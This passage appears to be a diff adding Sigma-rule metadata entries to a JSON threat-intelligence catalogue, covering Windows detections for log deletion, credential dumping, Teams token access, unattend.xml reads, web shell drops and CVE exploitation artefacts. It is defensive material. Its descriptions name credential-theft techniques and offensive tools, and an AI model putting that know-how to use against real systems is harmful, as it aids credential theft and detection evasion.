"Cedric MAURUGEON", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", + "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", + "value": "Exchange PowerShell Cmdlet History Deleted", + "meta": { + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/10/26", + "filename": "file_delete_win_exchange_powershell_logs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Possible FP during log rotation" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", + "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", + "value": "Sysinternals SDelete File Deletion", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/05/02", + "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitime usage of SDelete" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", + "value": "Unusual File Deletion by dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", + "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", + "value": "WebServer Access Logs Deleted", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2022/09/16", + "filename": "file_delete_win_webserver_access_logs_deleted.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "During uninstallation of the IIS service", + "During log rotation" + ], + "logsource.category": "file_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", + "value": "Suspicious File Event With Teams Objects", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "file_event_win_access_susp_teams.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", + "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", + "value": "Suspicious Unattend.xml File Access", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/12/19", + "filename": "file_event_win_access_susp_unattend_xml.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", + "value": "Advanced IP Scanner", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/05/12", + "filename": "file_event_win_advanced_ip_scanner.yml", + "author": "@ROxPinTeddy", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", + "value": "Anydesk Temporary Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "file_event_win_anydesk_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", + "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", + "value": "Suspicious Binary Writes Via AnyDesk", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/28", + "filename": "file_event_win_anydesk_writing_susp_binaries.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", + "value": "Unidentified Attacker November 2018", + "meta": { + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2018/11/20", + "filename": "file_event_win_apt_unidentified_nov_18.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", + "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", + "value": "BloodHound Collection Files", + "meta": { + "refs": [ + "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/08/09", + "filename": "file_event_win_bloodhound_collection.yml", + "author": "C.J. May", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", + "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", + "value": "CrackMapExec File Creation Patterns", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/03/12", + "filename": "file_event_win_crackmapexec_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", + "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", + "value": "New Shim Database Created in the Default Directory", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/29", + "filename": "file_event_win_creation_new_shim_database.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", + "value": "Suspicious Screensaver Binary File Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.002" + ], + "creation_date": "2021/12/29", + "filename": "file_event_win_creation_scr_binary_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", + "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", + "value": "Files With System Process Name In Unsuspected Locations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2020/05/26", + "filename": "file_event_win_creation_system_file.yml", + "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "System processes copied outside their default folders for testing purposes", + "Third party software naming their software with the same names as the processes mentioned here" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", + "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", + "value": "Creation Exe for Service with Unquoted Path", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/30", + "filename": "file_event_win_creation_unquoted_service_path.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", + "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", + "value": "Cred Dump Tools Dropped Files", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.003", + "attack.t1003.004", + "attack.t1003.005" + ], + "creation_date": "2019/11/01", + "filename": "file_event_win_cred_dump_tools_dropped_files.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", + "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", + "value": "WScript or CScript Dropper", + "meta": { + "refs": [ + "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/10", + "filename": "file_event_win_cscript_wscript_dropper.yml", + "author": "Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", + "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", + "value": "Dynamic C Sharp Compile Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ], + "creation_date": "2022/01/09", + "filename": "file_event_win_csharp_compile_artefact.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", + "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", + "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern", + "meta": { + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.resource_development", + "attack.t1587", + "cve.2021.1675" + ], + "creation_date": "2021/06/29", + "filename": "file_event_win_cve_2021_1675_printspooler.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server\u2019s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", + "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", + "value": "CVE-2021-26858 Exchange Exploitation", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26858" + ], + "creation_date": "2021/03/03", + "filename": "file_event_win_cve_2021_26858_msexchange.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ], + "creation_date": "2021/07/16", + "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", + "author": "Sittikorn S", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", + "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", + "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/11/22", + "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown", + "Possibly some Microsoft Edge upgrades" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", + "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", + "value": "CVE-2021-44077 POC Default Dropped File", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.44077" + ], + "creation_date": "2022/06/06", + "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", + "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", + "value": "CVE-2022-24527 Microsoft Connected Cache LPE", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1059.001", + "cve.2022.24527" + ], + "creation_date": "2022/04/13", + "filename": "file_event_win_cve_2022_24527_lpe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", + "value": "Powerup Write Hijack DLL", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.001" + ], + "creation_date": "2021/08/21", + "filename": "file_event_win_detect_powerup_dllhijacking.yml", + "author": "Subhash Popuri (@pbssubhash)", + "level": "high", + "falsepositive": [ + "Any powershell script that creates bat files" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", + "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", + "value": "DLL Search Order Hijackig Via Additional Space in Path", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1552932770464292864", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/07/30", + "filename": "file_event_win_dll_sideloading_space_path.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", + "uuid": "15904280-565c-4b73-9303-3291f964e7f9", + "value": "Persistence Via ErrorHandler.Cmd", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/09", + "filename": "file_event_win_error_handler_cmd_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", + "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6", + "value": "Suspicious ASPX File Drop by Exchange", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2022/10/01", + "filename": "file_event_win_exchange_webshell_drop.yml", + "author": "Florian Roth (rule), MSTI (query, idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious file type dropped by an Exchange component in IIS", + "uuid": "6b269392-9eba-40b5-acb6-55c882b20ba6", + "value": "Suspicious File Drop by Exchange", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1190", + "attack.initial_access", + "attack.t1505.003" + ], + "creation_date": "2022/10/04", + "filename": "file_event_win_exchange_webshell_drop_suspicious.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects default lsass dump filename from SafetyKatz", + "uuid": "e074832a-eada-4fd7-94a1-10642b130e16", + "value": "SafetyKatz Default Dump Filename", + "meta": { + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2018/07/24", + "filename": "file_event_win_ghostpack_safetykatz.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Rare legitimate files with similar filename structure" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "5d756aee-ad3e-4306-ad95-cb1abec48de2", + "value": "GoToAssist Temporary Installation Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "file_event_win_gotoopener_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8", + "value": "Dumpert Process Dumper", + "meta": { + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2020/02/04", + "filename": "file_event_win_hack_dumpert.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects files written by the different tools that exploit HiveNightmare", + "uuid": "6ea858a8-ba71-4a12-b2cc-5d83312404c7", + "value": "Typical HiveNightmare SAM File Export", + "meta": { + "refs": [ + "https://github.com/GossiTheDog/HiveNightmare", + "https://github.com/FireFart/hivenightmare/", + "https://github.com/WiredPulse/Invoke-HiveNightmare", + "https://twitter.com/cube0x0/status/1418920190759378944", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hivenightmare_file_exports.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "cve.2021.36934" + ], + "creation_date": "2021/07/23", + "filename": 